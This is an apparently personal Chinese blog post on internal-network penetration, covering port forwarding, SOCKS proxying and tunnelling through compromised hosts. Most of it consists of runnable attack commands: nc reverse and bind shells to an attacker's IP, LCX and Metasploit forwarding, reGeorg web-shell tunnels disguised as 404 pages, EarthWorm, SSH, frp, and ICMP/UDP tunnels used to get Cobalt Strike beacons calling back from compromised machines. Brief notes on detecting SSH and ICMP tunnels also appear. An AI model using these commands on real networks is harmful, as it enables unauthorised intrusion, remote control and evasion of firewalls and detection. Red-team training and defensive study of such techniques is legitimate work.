HacKerQWQ的博客空间

内网渗透之端口转发、映射、代理

Word count: 7.1kReading time: 29 min
2021/07/11 Share

端口转发、映射、代理概念

https://xz.aliyun.com/t/6349#toc-0

端口转发、映射

NC工具

NC反向连接

20210711155658
B位于内网,A不可访问B,B可以访问A,即A位于外网,适合nc反向连接,将B的shell反弹到外网A

1
2
3
4
#A执行如下命令
nc -lnvvp 监听端口
#B执行如下命令
nc -e cmd A的IP A监听端口

20210711160134

NC正向连接

20210711160327
受害者B位于外网,攻击者A位于内网,此时采用将A的shell反弹到B处的方法

1
2
3
4
#B执行如下命令
nc -lvp 监听端口 -e cmd.exe(/bin/bash)
#A执行如下命令
nc B的IP B的监听端口

20210711161430

LCX工具

LCX端口映射

这个用法类似于NC的反向连接
20210711155658
B位于内网,A不可访问B,B可以访问A,即A位于外网,适合nc反向连接,将B的shell反弹到外网A

1
2
3
4
#B执行命令
lcx.exe -slave 192.168.2.128 7777 192.168.2.3 3389
#A执行命令
lcx.exe -listen 7777 5555
  • 第一条命令意思是将内网主机(192.168.2.3)的3389端口转发到公网主机(192.168.2.128)的7777端口
  • 第二条命令的意思是将7777端口的流量转给5555端口处理

这时在A主机连接5555端口就访问到了B的3389端口
20210711163758

LCX端口转发

20210711164251
当外网A攻击者能访问到内网B,但是不能访问到内网C,而B能访问到内网C的任意端口时,可用LCX端口转发

1
2
#B执行命令
lcx.exe -tran 7777 192.168.2.3 3389
  • 命令意思是将C主机的3389端口转发到B的7777端口上,这时A访问B的7777端口就能远程连接到C
  • 20210711164930

Metasploit进行端口映射、转发

拓扑图

image-20210801005723682

1
2
3
4
5
6
#端口映射
metepreter>portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128//此时在kali访问2020端口就能访问到数据服务器的80端口
#端口转发
metepreter>portfwd add -l 5555 -p 3389 -r 192.168.0.149
rdesktop 127.0.0.1:5555
//kali访问本机的5555端口就能连接到数据服务器的3389端口

代理

代理简介

代理即Proxy,分为正向代理和反向代理

  • 正向代理代理客户端
  • 反向代理代理服务器

socks协议

Socks协议是一种可以穿透防火墙的协议,因为Socks介于传输层表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。

  • Socks分为Socks4和Socks5版本
  • SOCKS4支持TELNET、FTPHTTP等TCP协议;
  • SOCKS5支持TCP与UDP,并支持安全认证方案。
  • Socks不支持ICMP

基于Socks的代理转发工具
20210711214336

reGeorg+Proxychains

reGeorg把内网服务器的端口通过http/https隧道转发到本机

项目地址:https://github.com/sensepost/reGeorg

利用方法

  1. 将脚本tunnel.(aspx|ashx|jsp|php)放上要代理的机子,然后访问该脚本
    20210711224506
    显示如上则执行成功

  2. 本地python脚本搭建代理隧道

    1
    python2 reGeorgSocksProxy.py -p 8686 -u http://192.168.2.2/tunnel.aspx

    20210711224655

  3. 配置proxychains(socks5)

  4. 然后就可以用proxychains nmap或者metasploit进行流量代理(nmap要加-sT和-Pn,socks5不支持ICMP)
    20210711224940

  5. windows用proxifier连接3389
    添加server
    20210711231509
    设置规则
    20210711231525
    查看流量
    20210711231439

Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 应对更多的网络环境场景

Basic Usage

  • Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
1
2
3
4
5
6
7
8
9
10
$ python neoreg.py generate -k password

[+] Create neoreg server files:
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.php
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
  • Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
1
2
3
4
5
6
7
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
Log Level set to [DEBUG]
Starting socks server [127.0.0.1:1080]
Tunnel at:
http://xx/tunnel.php
+------------------------------------------------------------------------+

注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains

Advanced Usage

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
1
2
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  • 将目标网站上的404.html页面拷贝下来再生成tunnel,起到一个跳转迷惑的作用,skip功能时必须的

image-20220817190449123

  1. 如服务端 WEB,需要设置代理才能访问
1
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
1
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"'
  • 注意:这里的Header和Cookie只是为了过网站的后台验证,不是neo-regeorg本身的cookie认证功能
  1. 需要分散请求,可上传到多个路径上,如内存马
1
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
1
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
1
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>

EarthWorm

普通网络环境

  1. 目标网络边界存在公网IP且可任意开监听端口:
    20210712112958

    1
    2
    3
    a)./ew -s ssocksd -l 8888
    // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
    b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
  2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
    20210712113029

    1
    2
    3
    4
    5
     a) ./ew -s rcsocks -l 1080 -e 8888
    // 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
    b) ./ew -s rssocks -d 1.1.1.1 -e 8888
    // 将目标网络的可控边界主机反向连接公网主机
    c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

对于二重网络环境:

  1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:
    20210712113047
  • A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
  • B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
  • A 主机可直连 B 主机
    1
    2
    3
    4
    5
    a)  ./ew -s ssocksd -l 9999
    // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
    b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
    c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
  1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:
    20210712113105
  • A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
  • B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
  • A 主机可直连 B 主机
    1
    2
    3
    4
    5
    6
    7
    8
    a)  ./ew -s lcx_listen -l 1080 -e 8888
    // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
    // 转交给反连 8888 端口的主机
    b) ./ew -s ssocksd -l 9999
    // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
    c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
    d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

SSH端口转发

SSH隧道的优势

  • 加密SSH Client 端至SSH Server 端之间的通讯数据
  • 突破防火墙的限制完成一些之前无法建立的TCP 连接

参数

1
2
3
4
5
6
7
8
9
10
11
1 | -C 压缩传输,加快传输速度
2 | -f 在后台对用户名密码进行认证
3 | -N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
4 | -q 安静模式,不要显示任何debug信息
5 | -l 指定ssh登录名
6 | -g 允许远程主机连接到本地用于转发的端口
7 | -L 进行本地端口转发
8 | -R 进行远程端口转发
9 | -D 动态转发,即socks代理
10 | -T 禁止分配伪终端
11 | -p 指定远程ssh服务端口

SSH本地转发

适用情况:

  • 适用于VPS(实际上是内网机器)和Web服务器处于同个内网
  • 攻击者能够控制VPS且只能够访问VPS不能访问Web服务器
  • VPS能够访问Web服务器

把本地端口数据转发到远程服务器,本地服务器作为SSH客户端及应用户端,称为正向 tcp 端口加密转发
A18DF3C690E25FA929EC2B15CAC4DDF5
在vps上设置

1
2
3
4
5
6
7
8
vim /etc/ssh/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes

service ssh restart

利用方式

在本机攻击机执行如下命令

1
2
ssh -CfNgL 33389:192.168.2.3:3389 root@192.168.2.130 -p 22
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host

将本地的33389通过VPS转发到目标服务器的3389端口,此时访问本地33389即可远程登录远程目标的3389端口

SSH远程转发

适用情况:

  • VPS不能访问web服务器、内网机器
  • web服务器能够访问VPS且被控制。

把远程端口数据转发到本地服务器,本地服务器作为SSH客户端及应用服务端,称为反向tcp端口加密转发
20210714140304
出网机器配置

1
2
3
4
5
6
7
8
vim /etc/ssh/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes

service ssh restart

在出网web服务器上执行如下命令

1
2
ssh -CfNgR 44489:192.168.2.3:3389 root@192.168.2.128
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host

将VPS上的44489的流量都转发到不出网的机器的3389端口

  • 此时连接到VPS的44489端口即可访问不出网机器的3389端口
  • 当VPS监听地址是127.0.0.1,而非0.0.0.0时,可以安装reneted,命令如下
    1
    2
    3
    4
    5
    6
    1 | apt install rinetd -y
    2 | vim /etc/rinetd.conf
    3 |
    4 | 0.0.0.0 3389 127.0.0.1 33389 #转发规则
    5 |
    6 | service rinetd start

ssh动态转发

类似于科学上网,A连通B,B连通C,但是A不连通C

B设置

1
2
3
4
5
6
7
8
1 | # vim /etc/ssh/sshd_config
2 |
3 | AllowTcpForwarding yes
4 | GatewayPorts yes
5 | TCPKeepAlive yes
6 | PasswordAuthentication yes
7 |
8 | # service ssh restart

利用过程

在A机器执行命令

1
2
3
4
ssh -D 0.0.0:10080 root@B_ip -p 22
1 | ssh -C -f -N -g -D listen_port user@Tunnel_Host
2 | ssh -C -f -N -g -D 10080 anonysec@B_ip -p 22 #监听127.0.0.1
3 | ssh -C -f -N -g -D 0.0.0.0:10080 anonysec@B_ip -p 22 #监听0.0.0.0

此时将127.0.01:10080设置为socks5代理服务器即可访问C。

  • msfconsole通过setg proxies socks5:IP:port访问内网环境

防御SSH隧道攻击

在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP才能连接SSH,以及设置系统完全适用带外管理等方法。

结论

本地端口转发适用于跳板机双网卡,内外网皆可通,外网也可直接ping跳板机。

远程端口转发适用于跳板机可出外网,一般通过网关出口,外网不可直接到达内网。

其适用场景不仅仅与以上两种情况,偶尔也可以把内网当外网,外网当内网来进行SSH隧道的建立。

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

项目地址:https://github.com/fatedier/frp

tcp代理示例:

服务器端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[common]
#绑定的地址,这里绑定本机即可
bind_addr = 0.0.0.0
#监听的端口,给客户端连接的
bind_port = 7001
#客户端连接的密码
token = 123456
#管理面板所对应的地址和端口、账号密码
dashboard_addr = 0.0.0.0
dashboard_port = 7655
dashboard_user = admin
dashboard_pwd = 123456
#最大的同时连接数
max_pool_count = 8
#心跳超时时间
heartbeat_timeout = 90

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[common]
server_addr = xxxx
server_port = 7001
token = 123456
pool_count = 8
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[socks_proxy]
type = tcp
remote_port = 10001
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = 123456

服务器端启动:

1
./frps -c frps.ini

客户端启动:

1
./frpc -c frpc.ini

之后通过vps的10001端口进行代理就可以了

客户端配置

frp 客户端的详细配置说明。

基础配置

参数 类型 说明 默认值 可选值 备注
server_addr string 连接服务端的地址 0.0.0.0
server_port int 连接服务端的端口 7000
http_proxy string 连接服务端使用的代理地址 格式为 {protocol}://user:passwd@192.168.1.128:8080 protocol 目前支持 http、socks5、ntlm
log_file string 日志文件地址 ./frpc.log 如果设置为 console,会将日志打印在标准输出中
log_level string 日志等级 info trace, debug, info, warn, error
log_max_days int 日志文件保留天数 3
disable_log_color bool 禁用标准输出中的日志颜色 false
pool_count int 连接池大小 0
user string 用户名 设置此参数后,代理名称会被修改为 {user}.{proxyName},避免代理名称和其他用户冲突
dns_server string 使用 DNS 服务器地址 默认使用系统配置的 DNS 服务器,指定此参数可以强制替换为自定义的 DNS 服务器地址
login_fail_exit bool 第一次登陆失败后是否退出 true
protocol string 连接服务端的通信协议 tcp tcp, kcp, websocket
tls_enable bool 启用 TLS 协议加密连接 false
tls_cert_file string TLS 客户端证书文件路径
tls_key_file string TLS 客户端密钥文件路径
tls_trusted_ca_file string TLS CA 证书路径
tls_server_name string TLS Server 名称 为空则使用 server_addr
disable_custom_tls_first_byte bool TLS 不发送 0x17 false 当为 true 时,不能端口复用
heartbeat_interval int 向服务端发送心跳包的间隔时间 30
heartbeat_timeout int 和服务端心跳的超时时间 90
udp_packet_size int 代理 UDP 服务时支持的最大包长度 1500 服务端和客户端的值需要一致
start string 指定启用部分代理 当配置了较多代理,但是只希望启用其中部分时可以通过此参数指定,默认为全部启用

权限验证

参数 类型 说明 默认值 可选值 备注
authentication_method string 鉴权方式 token token, oidc 需要和服务端一致
authenticate_heartbeats bool 开启心跳消息鉴权 false 需要和服务端一致
authenticate_new_work_conns bool 开启建立工作连接的鉴权 false 需要和服务端一致
token string 鉴权使用的 token 值 需要和服务端设置一样的值才能鉴权通过
oidc_client_id string oidc_client_id
oidc_client_secret string oidc_client_secret
oidc_audience string oidc_audience
oidc_token_endpoint_url string oidc_token_endpoint_url

UI

参数 类型 说明 默认值 可选值 备注
admin_addr string 启用 AdminUI 监听的本地地址 0.0.0.0
admin_port int 启用 AdminUI 监听的本地端口 0
admin_user string HTTP BasicAuth 用户名
admin_pwd string HTTP BasicAuth 密码
asserts_dir string 静态资源目录 AdminUI 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源

服务器端配置

frp 服务端详细配置说明。

基础配置

参数 类型 说明 默认值 可选值 备注
bind_addr string 服务端监听地址 0.0.0.0
bind_port int 服务端监听端口 7000 接收 frpc 的连接
bind_udp_port int 服务端监听 UDP 端口 0 用于辅助创建 P2P 连接
kcp_bind_port int 服务端监听 KCP 协议端口 0 用于接收采用 KCP 连接的 frpc
proxy_bind_addr string 代理监听地址 同 bind_addr 可以使代理监听在不同的网卡地址
log_file string 日志文件地址 ./frps.log 如果设置为 console,会将日志打印在标准输出中
log_level string 日志等级 info trace, debug, info, warn, error
log_max_days int 日志文件保留天数 3
disable_log_color bool 禁用标准输出中的日志颜色 false
detailed_errors_to_client bool 服务端返回详细错误信息给客户端 true
heartbeat_timeout int 服务端和客户端心跳连接的超时时间 90 单位:秒
user_conn_timeout int 用户建立连接后等待客户端响应的超时时间 10 单位:秒
udp_packet_size int 代理 UDP 服务时支持的最大包长度 1500 服务端和客户端的值需要一致
tls_cert_file string TLS 服务端证书文件路径
tls_key_file string TLS 服务端密钥文件路径
tls_trusted_ca_file string TLS CA 证书路径

权限验证

参数 类型 说明 默认值 可选值 备注
authentication_method string 鉴权方式 token token, oidc
authenticate_heartbeats bool 开启心跳消息鉴权 false
authenticate_new_work_conns bool 开启建立工作连接的鉴权 false
token string 鉴权使用的 token 值 客户端需要设置一样的值才能鉴权通过
oidc_issuer string oidc_issuer
oidc_audience string oidc_audience
oidc_skip_expiry_check bool oidc_skip_expiry_check
oidc_skip_issuer_check bool oidc_skip_issuer_check

管理配置

参数 类型 说明 默认值 可选值 备注
allow_ports string 允许代理绑定的服务端端口 格式为 1000-2000,2001,3000-4000
max_pool_count int 最大连接池大小 5
max_ports_per_client int 限制单个客户端最大同时存在的代理数 0 0 表示没有限制
tls_only bool 只接受启用了 TLS 的客户端连接 false

Dashboard, 监控

参数 类型 说明 默认值 可选值 备注
dashboard_addr string 启用 Dashboard 监听的本地地址 0.0.0.0
dashboard_port int 启用 Dashboard 监听的本地端口 0
dashboard_user string HTTP BasicAuth 用户名
dashboard_pwd string HTTP BasicAuth 密码
enable_prometheus bool 是否提供 Prometheus 监控接口 false 需要同时启用了 Dashboard 才会生效
asserts_dir string 静态资源目录 Dashboard 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源

HTTP & HTTPS

参数 类型 说明 默认值 可选值 备注
vhost_http_port int 为 HTTP 类型代理监听的端口 0 启用后才支持 HTTP 类型的代理,默认不启用
vhost_https_port int 为 HTTPS 类型代理监听的端口 0 启用后才支持 HTTPS 类型的代理,默认不启用
vhost_http_timeout int HTTP 类型代理在服务端的 ResponseHeader 超时时间 60
subdomain_host string 二级域名后缀
custom_404_page string 自定义 404 错误页面地址

TCPMUX

参数 类型 说明 默认值 可选值 备注
tcpmux_httpconnect_port int 为 TCPMUX 类型代理监听的端口 0 启用后才支持 TCPMUX 类型的代理,默认不启用

代理配置

frp 代理的详细配置说明。

通用配置

通用配置是指不同类型的代理共同使用的一些配置参数。

基础配置

参数 类型 说明 是否必须 默认值 可选值 备注
type string 代理类型 tcp tcp, udp, http, https, stcp, sudp, xtcp, tcpmux
use_encryption bool 是否启用加密功能 false 启用后该代理和服务端之间的通信内容都会被加密传输
use_compression bool 是否启用压缩功能 false 启用后该代理和服务端之间的通信内容都会被压缩传输
proxy_protocol_version string 启用 proxy protocol 协议的版本 v1, v2 如果启用,则 frpc 和本地服务建立连接后会发送 proxy protocol 的协议,包含了原请求的 IP 地址和端口等内容
bandwidth_limit string 设置单个 proxy 的带宽限流 单位为 MB 或 KB,0 表示不限制,如果启用,会作用于对应的 frpc

本地服务配置

local_ipplugin 的配置必须配置一个,且只能生效一个,如果配置了 plugin,则 local_ip 配置无效。

参数 类型 说明 是否必须 默认值 可选值 备注
local_ip string 本地服务 IP 127.0.0.1 需要被代理的本地服务的 IP 地址,可以为所在 frpc 能访问到的任意 IP 地址
local_port int 本地服务端口 配合 local_ip
plugin string 客户端插件名称 见客户端插件的功能说明 用于扩展 frpc 的能力,能够提供一些简单的本地服务,如果配置了 plugin,则 local_ip 和 local_port 无效,两者只能配置一个
plugin_params map 客户端插件参数 map 结构,key 需要都以 “plugin_” 开头,每一个 plugin 需要的参数也不一样,具体见客户端插件参数中的内容

负载均衡和健康检查

参数 类型 说明 是否必须 默认值 可选值 备注
group string 负载均衡分组名称 用户请求会以轮询的方式发送给同一个 group 中的代理
group_key string 负载均衡分组密钥 用于对负载均衡分组进行鉴权,group_key 相同的代理才会被加入到同一个分组中
health_check_type string 健康检查类型 tcp,http 配置后启用健康检查功能,tcp 是连接成功则认为服务健康,http 要求接口返回 2xx 的状态码则认为服务健康
health_check_timeout_s int 健康检查超时时间(秒) 3 执行检查任务的超时时间
health_check_max_failed int 健康检查连续错误次数 1 连续检查错误多少次认为服务不健康
health_check_interval_s int 健康检查周期(秒) 10 每隔多长时间进行一次健康检查
health_check_url string 健康检查的 HTTP 接口 如果 health_check_type 类型是 http,则需要配置此参数,指定发送 http 请求的 url,例如 “/health”

TCP

参数 类型 说明 是否必须 默认值 可选值 备注
remote_port int 服务端绑定的端口 用户访问此端口的请求会被转发到 local_ip:local_port

UDP

参数 类型 说明 是否必须 默认值 可选值 备注
remote_port int 服务端绑定的端口 用户访问此端口的请求会被转发到 local_ip:local_port

HTTP

custom_domainssubdomain 必须要配置其中一个,两者可以同时生效。

参数 类型 说明 是否必须 默认值 可选值 备注
custom_domains []string 服务器绑定自定义域名 是(和 subdomain 两者必须配置一个) 用户通过 vhost_http_port 访问的 HTTP 请求如果 Host 在 custom_domains 配置的域名中,则会被路由到此代理配置的本地服务
subdomain string 自定义子域名 是(和 custom_domains 两者必须配置一个) 和 custom_domains 作用相同,但是只需要指定子域名前缀,会结合服务端的 subdomain_host 生成最终绑定的域名
locations []string URL 路由配置 采用最大前缀匹配的规则,用户请求匹配响应的 location 配置,则会被路由到此代理
http_user string 用户名 如果配置此参数,暴露出去的 HTTP 服务需要采用 Basic Auth 的鉴权才能访问
http_pwd string 密码 结合 http_user 使用
host_header_rewrite string 替换 Host header 替换发送到本地服务 HTTP 请求中的 Host 字段
headers map 替换 header map 中的 key 是要替换的 header 的 key,value 是替换后的内容

HTTPS

custom_domainssubdomain 必须要配置其中一个,两者可以同时生效。

参数 类型 说明 是否必须 默认值 可选值 备注
custom_domains []string 服务器绑定自定义域名 是(和 subdomain 两者必须配置一个) 用户通过 vhost_http_port 访问的 HTTP 请求如果 Host 在 custom_domains 配置的域名中,则会被路由到此代理配置的本地服务
subdomain string 自定义子域名 是(和 custom_domains 两者必须配置一个) 和 custom_domains 作用相同,但是只需要指定子域名前缀,会结合服务端的 subdomain_host 生成最终绑定的域名

STCP

参数 类型 说明 是否必须 默认值 可选值 备注
role string 角色 server server,visitor server 表示服务端,visitor 表示访问端
sk string 密钥 服务端和访问端的密钥需要一致,访问端才能访问到服务端

SUDP

参数 类型 说明 是否必须 默认值 可选值 备注
role string 角色 server server,visitor server 表示服务端,visitor 表示访问端
sk string 密钥 服务端和访问端的密钥需要一致,访问端才能访问到服务端

XTCP

参数 类型 说明 是否必须 默认值 可选值 备注
role string 角色 server server,visitor server 表示服务端,visitor 表示访问端
sk string 密钥 服务端和访问端的密钥需要一致,访问端才能访问到服务端

隧道

  • 隧道就是一种绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到对应的服务器上。

常见的隧道列举如下:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

判断内网连通性

查看本机防火墙规则

1
netsh advfirewall firewall show rule name=all
  1. ICMP

    通过ping命令来判断

    1
    ping <域名/IP>
  2. TCP

    1
    nc <IP地址 端口号>

    也可以用telnet

    1
    2
    3
    4
    5
    #开启
    dism /online /Enable-Feature /FeatureName:TelnetClient

    #关闭
    dism /online /Disable-Feature /FeatureName:TelnetClient

    Telnet使用方法:

    1
    telnet <IP地址 端口号>
  3. HTTP协议

    1
    curl www.baidu.com
  4. DNS协议

    1
    2
    3
    4
    //Windows
    nslookup www.baidu.com <vps-ip>
    //Linux
    dig www.baidu.com

也有可能通过proxy连接外网

  • 查看网络连接(ping -n 1 -a ip)
  • 查看内网中是否有”proxy”主机名的机器
  • 查看IE代理
  • 查看pac文件路径

通过以下命令进行确认

1
2
curl www.baidu.com //不通
curl -x proxy-ip:port www.baidu.com //通

ICMP隧道

ICMP隧道特点:不需要开启端口、防火墙一般不会阻拦

pingtunnel

项目地址:https://github.com/esrrhs/pingtunnel

特点:使用icmp协议传输数据,防火墙一般不拦截,需要root/administrator权限

服务器端:

1
2
3
wet https://github.com/esrrhs/pingtunnel/releases/download/2.6/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip
./pingtunnel -type server

image-20220126135122036

客户端:

1
2
3
4
5
6
7
8
9
wet https://github.com/esrrhs/pingtunnel/releases/download/2.6/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip
./pingtunnel -client
//转发sock5
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
//转发tcp
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
//转发udp
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
  • -l 监听的本地地址
  • -s 开启server模式的vps地址(IP和域名都可)
  • -t 转发的目的地址

CS上线

cs设置监听

image-20220126154627344

服务器端开启代理:

1
./pingtunnel -type server

image-20220126135122036

客户端开启代理:

1
2
pingtunnel.exe -type client -l :6666 -s vps -t vps:80 -tcp 1
pingtunnel.exe -type client -l :6666 -s vps -sock5 1

监听本地6666转发到80端口

生成ICMP的beacon之后传到肉鸡运行即可

icmpsh

项目地址:https://github.com/inquisb/icmpsh.git

服务器vps:

1
git clone https://github.com/inquisb/icmpsh.git

安装依赖

1
apt-install python-impacket

安装python的impacket类库以便对TCP、UDP、ICMP、Kerberos、WMI等协议进行访问

关闭系统ping的应答

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1
  • 注意:记得恢复,否则会出错,将1改为0即可

获取命令

1
./run.sh

image-20220126215147938

肉鸡:

运行上面给出的命令即可,由于没有公网的win机,不做测试

防御ICMP隧道

大多数防火墙规则中,由内而外的ping命令是被允许的,由外而内的icmp包被拦截。但是ICMP隧道的特点也很明显:

  • 同一来源的ICMP数据包大
  • 注意Payload大于64bit的ICMP数据包
  • 寻找响应数据包中payload与请求数据包中payload不一致的ICMP数据包
  • 检查ICMP数据包的协议标签,如icmptunnel的ICMP Payload前面有”TUNL”标记

udptunnel

项目地址:https://github.com/jingyu/udptunnel

udptunnel将tcp流量封装在udp中
• 需要自己编译(Linux上gcc或者Windows上vs编译)

服务器端:

1
./udptunnel -s 0.0.0.0:7788

客户端:

1
2
udptunnel.exe -c 0.0.0.0:6666 -t vps:7788
-r vps:80

监听本地6666,转发到vps的80端口

在vps上开启cs监听

image-20220126152701899

生成ICMP的木马(实际是UDP),放到肉鸡运行,即可收到回连

image-20220126152844676

参考链接

  1. https://www.secpulse.com/archives/140684.html
  2. https://xz.aliyun.com/t/6349#toc-26
  3. https://mp.weixin.qq.com/s/PxQUHAvaly_BDczCR-3LCQ
  4. https://mp.weixin.qq.com/s?src=11&timestamp=1626104085&ver=3186&signature=8*jYwM6uY0bHCrml-qPqqTe2l*H7jm*HBKCTEJQZz7LdqR9b4ivBAeOwJHE8LbVCCAOP2kQgyERNzdzhwSR4uRIVUX0kg425il0qgNpSRBp3AZ6p4D5oqvogdjj34R66&new=1
CATALOG
  1. 1. 端口转发、映射、代理概念
  2. 2. 端口转发、映射
    1. 2.1. NC工具
      1. 2.1.1. NC反向连接
      2. 2.1.2. NC正向连接
    2. 2.2. LCX工具
      1. 2.2.1. LCX端口映射
      2. 2.2.2. LCX端口转发
  3. 3. Metasploit进行端口映射、转发
  4. 4. 代理
    1. 4.1. 代理简介
    2. 4.2. socks协议
    3. 4.3. reGeorg+Proxychains
      1. 4.3.1. 利用方法
    4. 4.4. Neo-reGeorg
      1. 4.4.1. Basic Usage
      2. 4.4.2. Advanced Usage
    5. 4.5. EarthWorm
      1. 4.5.1. 普通网络环境
      2. 4.5.2. 对于二重网络环境:
    6. 4.6. SSH端口转发
      1. 4.6.1. SSH本地转发
        1. 4.6.1.1. 利用方式
      2. 4.6.2. SSH远程转发
      3. 4.6.3. ssh动态转发
        1. 4.6.3.1. 利用过程
      4. 4.6.4. 防御SSH隧道攻击
      5. 4.6.5. 结论
    7. 4.7. frp
      1. 4.7.1. 客户端配置
        1. 4.7.1.1. 基础配置
        2. 4.7.1.2. 权限验证
        3. 4.7.1.3. UI
      2. 4.7.2. 服务器端配置
        1. 4.7.2.1. 基础配置
        2. 4.7.2.2. 权限验证
        3. 4.7.2.3. 管理配置
        4. 4.7.2.4. Dashboard, 监控
        5. 4.7.2.5. HTTP & HTTPS
        6. 4.7.2.6. TCPMUX
      3. 4.7.3. 代理配置
        1. 4.7.3.1. 通用配置
        2. 4.7.3.2. 基础配置
        3. 4.7.3.3. 本地服务配置
        4. 4.7.3.4. 负载均衡和健康检查
        5. 4.7.3.5. TCP
        6. 4.7.3.6. UDP
        7. 4.7.3.7. HTTP
        8. 4.7.3.8. HTTPS
        9. 4.7.3.9. STCP
        10. 4.7.3.10. SUDP
        11. 4.7.3.11. XTCP
  5. 5. 隧道
    1. 5.1. 判断内网连通性
      1. 5.1.1. ICMP隧道
        1. 5.1.1.1. pingtunnel
        2. 5.1.1.2. icmpsh
        3. 5.1.1.3. 防御ICMP隧道
    2. 5.2. udptunnel
  6. 6. 参考链接